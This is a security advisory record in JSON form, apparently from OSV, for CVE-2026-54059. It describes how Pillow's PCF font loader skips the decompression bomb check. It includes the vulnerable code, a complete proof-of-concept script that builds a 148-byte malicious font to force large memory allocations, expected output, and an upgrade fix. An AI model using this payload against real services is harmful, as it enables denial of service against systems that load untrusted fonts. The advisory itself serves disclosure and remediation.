{"id":"CVE-2026-54059","aliases":["GHSA-8v84-f9pq-wr9x","BIT-pillow-2026-54059","PYSEC-2026-2253"],"title":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF f…","summary":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"pillow","product":"pillow","ecosystem":"pip","affected":["pillow < 12.3.0"],"patched":["pillow 12.3.0"],"published":"2026-07-20","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:11.229114807Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54059"},{"url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"},{"url":"https://github.com/python-pillow/Pillow"},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}],"tags":["osv","pip"],"epss":0.0041,"epssPercentile":0.3495,"ingestedAt":"2026-07-13T18:58:08.543Z","slug":"CVE-2026-54059","body":"## Overview\n\n## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left          (max: 65535 − 0 = 65535)\nysize = ascent + descent      (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled\n    b, e = offsets[i : i + 2]\n    bitmaps.append(\n        Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n        # ↑ NO _decompression_bomb_check()!\n    )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n    _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n    print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC    = 0x70636601\nPCF_PROPS    = 1 << 0\nPCF_METRICS  = 1 << 2\nPCF_BITMAPS  = 1 << 3\nPCF_ENCODINGS= 1 << 5\n\ndef build_bomb_pcf(xsize, ysize):\n    # Properties: empty\n    props = struct.pack(\"<III\", 0, 0, 0)\n\n    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent\n    metrics = struct.pack(\"<II\", 0, 1)\n    metrics += struct.pack(\"<HHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n    # Bitmaps: 1 glyph, empty data (transient attack)\n    bitmaps = struct.pack(\"<II\", 0, 1)\n    bitmaps += struct.pack(\"<I\", 0)              # offset[0] = 0\n    bitmaps += struct.pack(\"<IIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n    # Encodings: char 0x41 ('A') → glyph 0\n    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n    encodings = struct.pack(\"<IHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n    encodings += struct.pack(\"<\" + \"H\"*128, *enc_offsets)\n\n    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n    hdr_size = 4 + 4 + len(secs) * 16\n    out = struct.pack(\"<II\", PCF_MAGIC, len(secs))\n    offset = hdr_size\n    for stype, sdata in secs:\n        out += struct.pack(\"<IIII\", stype, 0, len(sdata), offset)\n        offset += len(sdata)\n    for _, sdata in secs:\n        out += sdata\n    return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size  : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size     : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n    font = PcfFontFile(io.BytesIO(pcf))\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n    _, peak = tracemalloc.get_traced_memory()\n    tracemalloc.stop()\n    print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n    print(f\"    Heap peak: {peak/1024**2:.2f} MB\")\n    print(f\"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size  : 148 bytes\n[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n    C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07\n\n## Affected packages\n\n- `pillow < 12.3.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pillow 12.3.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}